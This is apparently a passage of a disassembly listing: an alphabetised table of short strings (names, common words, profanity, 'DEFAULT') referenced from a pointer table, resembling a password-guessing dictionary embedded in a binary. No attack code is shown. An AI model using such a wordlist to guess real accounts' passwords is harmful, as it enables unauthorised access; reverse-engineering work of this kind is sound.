aHost		db 'host',0             ; DATA XREF: seg001:0042B0E4o
		align 4
aHorus		db 'horus',0            ; DATA XREF: seg001:0042B0E0o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: seg001:0042B0DCo
		align 4
aHorror		db 'horror',0           ; DATA XREF: seg001:0042B0D8o
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: seg001:0042B0D4o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg001:0042B0D0o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg001:0042B0CCo
aHooker		db 'hooker',0           ; DATA XREF: seg001:0042B0C8o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg001:0042B0C4o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg001:0042B0C0o
		align 4
aHomer		db 'homer',0            ; DATA XREF: seg001:0042B0BCo
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: seg001:0042B0B8o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg001:0042B0B4o
		align 4
aHolly		db 'holly',0            ; DATA XREF: seg001:0042B0B0o
		align 10h
aHole		db 'hole',0             ; DATA XREF: seg001:0042B0ACo
		align 4
aHits		db 'hits',0             ; DATA XREF: seg001:0042B0A8o
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: seg001:0042B0A4o
		align 4
aHighland	db 'highland',0         ; DATA XREF: seg001:0042B0A0o
		align 4
aHigh		db 'high',0             ; DATA XREF: seg001:0042B09Co
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg001:0042B098o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg001:0042B094o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg001:0042B090o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg001:0042B08Co
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: seg001:0042B088o
aHeroin		db 'heroin',0           ; DATA XREF: seg001:0042B084o
		align 4
aHero		db 'hero',0             ; DATA XREF: seg001:0042B080o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: seg001:0042B07Co
aHerb		db 'herb',0             ; DATA XREF: seg001:0042B078o
		align 10h
aHelp		db 'help',0             ; DATA XREF: seg001:0042B074o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg001:0042B070o
		align 10h
aHell		db 'hell',0             ; DATA XREF: seg001:0042B06Co
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: seg001:0042B068o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg001:0042B064o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg001:0042B060o
		align 4
aHeather	db 'heather',0          ; DATA XREF: seg001:0042B05Co
aHeathen	db 'heathen',0          ; DATA XREF: seg001:0042B058o
aHeat		db 'heat',0             ; DATA XREF: seg001:0042B054o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: seg001:0042B050o
		align 4
aHead		db 'head',0             ; DATA XREF: seg001:0042B04Co
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg001:0042B048o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg001:0042B044o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg001:0042B040o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg001:0042B03Co
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg001:0042B038o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg001:0042B034o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg001:0042B030o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: seg001:0042B02Co
		align 4
aHard		db 'hard',0             ; DATA XREF: seg001:0042B028o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg001:0042B024o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: seg001:0042B020o
aHandily	db 'handily',0          ; DATA XREF: seg001:0042B01Co
aHandel		db 'handel',0           ; DATA XREF: seg001:0042B018o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: seg001:0042B014o
aHamlet		db 'hamlet',0           ; DATA XREF: seg001:0042B010o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: seg001:0042B00Co
		align 4
aHair		db 'hair',0             ; DATA XREF: seg001:0042B008o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg001:0042B004o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg001:0042B000o
		align 4
aHack		db 'hack',0             ; DATA XREF: seg001:0042AFFCo
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg001:0042AFF8o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg001:0042AFF4o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: seg001:0042AFF0o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: seg001:0042AFECo
		align 4
aGucci		db 'gucci',0            ; DATA XREF: seg001:0042AFE8o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: seg001:0042AFE4o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg001:0042AFE0o
aGroup		db 'group',0            ; DATA XREF: seg001:0042AFDCo
		align 4
aGreen		db 'green',0            ; DATA XREF: seg001:0042AFD8o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg001:0042AFD4o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg001:0042AFD0o
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg001:0042AFCCo
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg001:0042AFC8o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg001:0042AFC4o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg001:0042AFC0o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg001:0042AFBCo
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: seg001:0042AFB8o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: seg001:0042AFB4o
aGorges		db 'gorges',0           ; DATA XREF: seg001:0042AFB0o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg001:0042AFACo
		align 4
aGood		db 'good',0             ; DATA XREF: seg001:0042AFA8o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg001:0042AFA4o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg001:0042AFA0o
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg001:0042AF9Co
		align 4
aGold		db 'gold',0             ; DATA XREF: seg001:0042AF98o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg001:0042AF94o
aGirl		db 'girl',0             ; DATA XREF: seg001:0042AF90o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg001:0042AF8Co
		align 4
aGina		db 'gina',0             ; DATA XREF: seg001:0042AF88o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg001:0042AF84o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: seg001:0042AF80o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: seg001:0042AF7Co
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: seg001:0042AF78o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg001:0042AF74o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg001:0042AF70o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg001:0042AF6Co
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg001:0042AF68o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg001:0042AF64o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: seg001:0042AF60o
aGarfield	db 'garfield',0         ; DATA XREF: seg001:0042AF5Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg001:0042AF58o
aGames		db 'games',0            ; DATA XREF: seg001:0042AF54o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg001:0042AF50o
aFungible	db 'fungible',0         ; DATA XREF: seg001:0042AF4Co
		align 4
aFunction	db 'function',0         ; DATA XREF: seg001:0042AF48o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg001:0042AF44o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg001:0042AF40o
aFuckme		db 'fuckme',0           ; DATA XREF: seg001:0042AF3Co
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg001:0042AF38o
aFucker		db 'fucker',0           ; DATA XREF: seg001:0042AF34o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg001:0042AF30o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg001:0042AF2Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg001:0042AF28o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg001:0042AF24o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: seg001:0042AF20o
aFriend		db 'friend',0           ; DATA XREF: seg001:0042AF1Co
		align 10h
aFriday		db 'friday',0           ; DATA XREF: seg001:0042AF18o
		align 4
aFrench		db 'french',0           ; DATA XREF: seg001:0042AF14o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: seg001:0042AF10o
aFree		db 'free',0             ; DATA XREF: seg001:0042AF0Co
		align 10h
aFred		db 'fred',0             ; DATA XREF: seg001:0042AF08o
		align 4
aFreak		db 'freak',0            ; DATA XREF: seg001:0042AF04o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: seg001:0042AF00o
		align 4
aFrance		db 'france',0           ; DATA XREF: seg001:0042AEFCo
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg001:0042AEF8o
aFourier	db 'fourier',0          ; DATA XREF: seg001:0042AEF4o
aForsythe	db 'forsythe',0         ; DATA XREF: seg001:0042AEF0o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg001:0042AEECo
		align 4
aFormat		db 'format',0           ; DATA XREF: seg001:0042AEE8o
		align 10h
aForm		db 'form',0             ; DATA XREF: seg001:0042AEE4o
		align 4
aForever	db 'forever',0          ; DATA XREF: seg001:0042AEE0o
aForesigh	db 'foresigh',0         ; DATA XREF: seg001:0042AEDCo
		align 4
aFord		db 'ford',0             ; DATA XREF: seg001:0042AED8o
		align 4
aForce		db 'force',0            ; DATA XREF: seg001:0042AED4o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg001:0042AED0o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: seg001:0042AECCo
		align 4
aFool		db 'fool',0             ; DATA XREF: seg001:0042AEC8o
		align 4
aFood		db 'food',0             ; DATA XREF: seg001:0042AEC4o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg001:0042AEC0o
aFlower		db 'flower',0           ; DATA XREF: seg001:0042AEBCo
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg001:0042AEB8o
aFloat		db 'float',0            ; DATA XREF: seg001:0042AEB4o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg001:0042AEB0o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg001:0042AEACo
aFirewall	db 'firewall',0         ; DATA XREF: seg001:0042AEA8o
		align 10h
aFire		db 'fire',0             ; DATA XREF: seg001:0042AEA4o
		align 4
aFinite		db 'finite',0           ; DATA XREF: seg001:0042AEA0o
		align 10h
aFile		db 'file',0             ; DATA XREF: seg001:0042AE9Co
		align 4
aFight		db 'fight',0            ; DATA XREF: seg001:0042AE98o
		align 10h
aField		db 'field',0            ; DATA XREF: seg001:0042AE94o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: seg001:0042AE90o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg001:0042AE8Co
aFermat		db 'fermat',0           ; DATA XREF: seg001:0042AE88o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg001:0042AE84o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg001:0042AE80o
aFeds		db 'feds',0             ; DATA XREF: seg001:0042AE7Co
		align 4
aFear		db 'fear',0             ; DATA XREF: seg001:0042AE78o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg001:0042AE74o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg001:0042AE70o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg001:0042AE6Co
aFarad		db 'farad',0            ; DATA XREF: seg001:0042AE68o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg001:0042AE64o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg001:0042AE60o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg001:0042AE5Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg001:0042AE58o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg001:0042AE54o
aExtensio	db 'extensio',0         ; DATA XREF: seg001:0042AE50o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: seg001:0042AE4Co
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg001:0042AE48o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: seg001:0042AE44o
aExplode	db 'explode',0          ; DATA XREF: seg001:0042AE40o
aExpert		db 'expert',0           ; DATA XREF: seg001:0042AE3Co
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: seg001:0042AE38o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: seg001:0042AE34o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: seg001:0042AE30o
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg001:0042AE2Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg001:0042AE28o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: seg001:0042AE24o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: seg001:0042AE20o
		align 4
aErin		db 'erin',0             ; DATA XREF: seg001:0042AE1Co
		align 10h
aErika		db 'erika',0            ; DATA XREF: seg001:0042AE18o
		align 4
aErica		db 'erica',0            ; DATA XREF: seg001:0042AE14o
		align 10h
aEric		db 'eric',0             ; DATA XREF: seg001:0042AE10o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: seg001:0042AE0Co
aEnzyme		db 'enzyme',0           ; DATA XREF: seg001:0042AE08o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: seg001:0042AE04o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg001:0042AE00o
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg001:0042ADFCo
aEngland	db 'england',0          ; DATA XREF: seg001:0042ADF8o
aEngineer	db 'engineer',0         ; DATA XREF: seg001:0042ADF4o
		align 4
aEngine		db 'engine',0           ; DATA XREF: seg001:0042ADF0o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: seg001:0042ADECo
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg001:0042ADE8o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg001:0042ADE4o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg001:0042ADE0o
aEmail		db 'email',0            ; DATA XREF: seg001:0042ADDCo
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg001:0042ADD8o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg001:0042ADD4o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: seg001:0042ADD0o
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg001:0042ADCCo
		align 4
aElanor		db 'elanor',0           ; DATA XREF: seg001:0042ADC8o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: seg001:0042ADC4o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: seg001:0042ADC0o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg001:0042ADBCo
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: seg001:0042ADB8o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg001:0042ADB4o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg001:0042ADB0o
aEdwina		db 'edwina',0           ; DATA XREF: seg001:0042ADACo
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg001:0042ADA8o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg001:0042ADA4o
		align 4
aEducation	db 'education',0        ; DATA XREF: seg001:0042ADA0o
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg001:0042AD9Co
aEdit		db 'edit',0             ; DATA XREF: seg001:0042AD98o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg001:0042AD94o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: seg001:0042AD90o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: seg001:0042AD8Co
		align 10h
aEcho		db 'echo',0             ; DATA XREF: seg001:0042AD88o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: seg001:0042AD84o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: seg001:0042AD80o
		align 4
aEasier		db 'easier',0           ; DATA XREF: seg001:0042AD7Co
		align 10h
aEarth		db 'earth',0            ; DATA XREF: seg001:0042AD78o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: seg001:0042AD74o
		align 10h
aEager		db 'eager',0            ; DATA XREF: seg001:0042AD70o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: seg001:0042AD6Co
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: seg001:0042AD68o
aDuncan		db 'duncan',0           ; DATA XREF: seg001:0042AD64o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: seg001:0042AD60o
		align 4
aDuke		db 'duke',0             ; DATA XREF: seg001:0042AD5Co
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: seg001:0042AD58o
aDude		db 'dude',0             ; DATA XREF: seg001:0042AD54o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: seg001:0042AD50o
		align 4
aDrought	db 'drought',0          ; DATA XREF: seg001:0042AD4Co
aDrive		db 'drive',0            ; DATA XREF: seg001:0042AD48o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: seg001:0042AD44o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: seg001:0042AD40o
		align 4
aDownload	db 'download',0         ; DATA XREF: seg001:0042AD3Co
		align 4
aDope		db 'dope',0             ; DATA XREF: seg001:0042AD38o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg001:0042AD34o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg001:0042AD30o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg001:0042AD2Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: seg001:0042AD28o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg001:0042AD24o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg001:0042AD20o
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg001:0042AD1Co
		align 4
aDong		db 'dong',0             ; DATA XREF: seg001:0042AD18o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg001:0042AD14o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg001:0042AD10o
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg001:0042AD0Co
aDisney		db 'disney',0           ; DATA XREF: seg001:0042AD08o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg001:0042AD04o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: seg001:0042AD00o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: seg001:0042ACFCo
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg001:0042ACF8o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: seg001:0042ACF4o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg001:0042ACF0o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg001:0042ACECo
		align 4
aDirect		db 'direct',0           ; DATA XREF: seg001:0042ACE4o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg001:0042ACE0o
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg001:0042ACDCo
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg001:0042ACD8o
aDieter		db 'dieter',0           ; DATA XREF: seg001:0042ACD4o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg001:0042ACD0o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: seg001:0042ACCCo
aDick		db 'dick',0             ; DATA XREF: seg001:0042ACC8o
		align 10h
aDice		db 'dice',0             ; DATA XREF: seg001:0042ACC4o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg001:0042ACC0o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: seg001:0042ACBCo
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg001:0042ACB8o
aDial		db 'dial',0             ; DATA XREF: seg001:0042ACB4o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg001:0042ACB0o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: seg001:0042ACACo
aDesperat	db 'desperat',0         ; DATA XREF: seg001:0042ACA8o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg001:0042ACA4o
aDesk		db 'desk',0             ; DATA XREF: seg001:0042ACA0o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg001:0042AC9Co
aDennis		db 'dennis',0           ; DATA XREF: seg001:0042AC98o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg001:0042AC94o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: seg001:0042AC90o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg001:0042AC8Co
		align 10h
aDelta		db 'delta',0            ; DATA XREF: seg001:0042AC88o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg001:0042AC84o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg001:0042AC80o
aDeck		db 'deck',0             ; DATA XREF: seg001:0042AC78o
		align 10h
aDecember	db 'december',0         ; DATA XREF: seg001:0042AC74o
		align 4
aDebug		db 'debug',0            ; DATA XREF: seg001:0042AC70o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg001:0042AC6Co
aDebbie		db 'debbie',0           ; DATA XREF: seg001:0042AC68o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg001:0042AC64o
		align 10h
aDead		db 'dead',0             ; DATA XREF: seg001:0042AC60o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg001:0042AC5Co
		align 10h
aDave		db 'dave',0             ; DATA XREF: seg001:0042AC58o
		align 4
aData		db 'data',0             ; DATA XREF: seg001:0042AC54o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: seg001:0042AC50o
		align 4
aDark		db 'dark',0             ; DATA XREF: seg001:0042AC4Co
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg001:0042AC48o
		align 4
aDanny		db 'danny',0            ; DATA XREF: seg001:0042AC44o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg001:0042AC40o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: seg001:0042AC3Co
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg001:0042AC38o
		align 10h
aDana		db 'dana',0             ; DATA XREF: seg001:0042AC34o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg001:0042AC30o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: seg001:0042AC2Co
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg001:0042AC28o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg001:0042AC24o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg001:0042AC20o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg001:0042AC1Co
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: seg001:0042AC18o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: seg001:0042AC14o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg001:0042AC10o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: seg001:0042AC0Co
aCristina	db 'cristina',0         ; DATA XREF: seg001:0042AC08o
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: seg001:0042AC04o
		align 4
aCrime		db 'crime',0            ; DATA XREF: seg001:0042AC00o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg001:0042ABFCo
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: seg001:0042ABF8o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg001:0042ABF4o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: seg001:0042ABF0o
		align 4
aCreation	db 'creation',0         ; DATA XREF: seg001:0042ABECo
		align 4
aCreate		db 'create',0           ; DATA XREF: seg001:0042ABE8o
		align 10h
aCream		db 'cream',0            ; DATA XREF: seg001:0042ABE4o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg001:0042ABE0o
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg001:0042ABDCo
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: seg001:0042ABD8o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg001:0042ABD4o
		align 10h
aCountry	db 'country',0          ; DATA XREF: seg001:0042ABD0o
aCounters	db 'counters',0         ; DATA XREF: seg001:0042ABCCo
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg001:0042ABC8o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg001:0042ABC4o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg001:0042ABC0o
		align 10h
aCops		db 'cops',0             ; DATA XREF: seg001:0042ABBCo
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg001:0042ABB8o
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: seg001:0042ABB4o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg001:0042ABB0o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: seg001:0042ABACo
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg001:0042ABA8o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg001:0042ABA4o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40CC09+1CD6o
					; seg001:0042ABA0o
		align 4
aConsole	db 'console',0          ; DATA XREF: seg001:0042AB9Co
aConserva	db 'conserva',0         ; DATA XREF: seg001:0042AB98o
		align 4
aConnie		db 'connie',0           ; DATA XREF: seg001:0042AB94o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg001:0042AB8Co
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg001:0042AB88o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg001:0042AB84o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: seg001:0042AB80o
aComputin	db 'computin',0         ; DATA XREF: seg001:0042AB7Co
		align 4
aCompany	db 'company',0          ; DATA XREF: seg001:0042AB78o
aCommrade	db 'commrade',0         ; DATA XREF: seg001:0042AB74o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg001:0042AB70o
		align 10h
aComics		db 'comics',0           ; DATA XREF: seg001:0042AB6Co
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg001:0042AB68o
		align 10h
aColor		db 'color',0            ; DATA XREF: seg001:0042AB64o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg001:0042AB60o
aCold		db 'cold',0             ; DATA XREF: seg001:0042AB5Co
		align 4
aCola		db 'cola',0             ; DATA XREF: seg001:0042AB58o
		align 10h
aCoke		db 'coke',0             ; DATA XREF: seg001:0042AB54o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg001:0042AB50o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: seg001:0042AB4Co
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg001:0042AB48o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg001:0042AB44o
		align 10h
aCode		db 'code',0             ; DATA XREF: seg001:0042AB40o
		align 4
aCock		db 'cock',0             ; DATA XREF: seg001:0042AB3Co
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: seg001:0042AB38o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg001:0042AB34o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg001:0042AB30o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: seg001:0042AB2Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg001:0042AB28o
aClinton	db 'clinton',0          ; DATA XREF: seg001:0042AB24o
aCleavage	db 'cleavage',0         ; DATA XREF: seg001:0042AB20o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg001:0042AB1Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg001:0042AB18o
aClassic	db 'classic',0          ; DATA XREF: seg001:0042AB14o
aClasses	db 'classes',0          ; DATA XREF: seg001:0042AB10o
aClass		db 'class',0            ; DATA XREF: seg001:0042AB0Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg001:0042AB08o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg001:0042AB04o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg001:0042AB00o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: seg001:0042AAFCo
aChristin	db 'christin',0         ; DATA XREF: seg001:0042AAF8o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg001:0042AAF4o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg001:0042AAF0o
		align 4
aChester	db 'chester',0          ; DATA XREF: seg001:0042AAECo
aChess		db 'chess',0            ; DATA XREF: seg001:0042AAE8o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg001:0042AAE4o
		align 10h
aChem		db 'chem',0             ; DATA XREF: seg001:0042AAE0o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg001:0042AADCo
		align 10h
aCharon		db 'charon',0           ; DATA XREF: seg001:0042AAD8o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg001:0042AAD4o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg001:0042AAD0o
aCharles	db 'charles',0          ; DATA XREF: seg001:0042AACCo
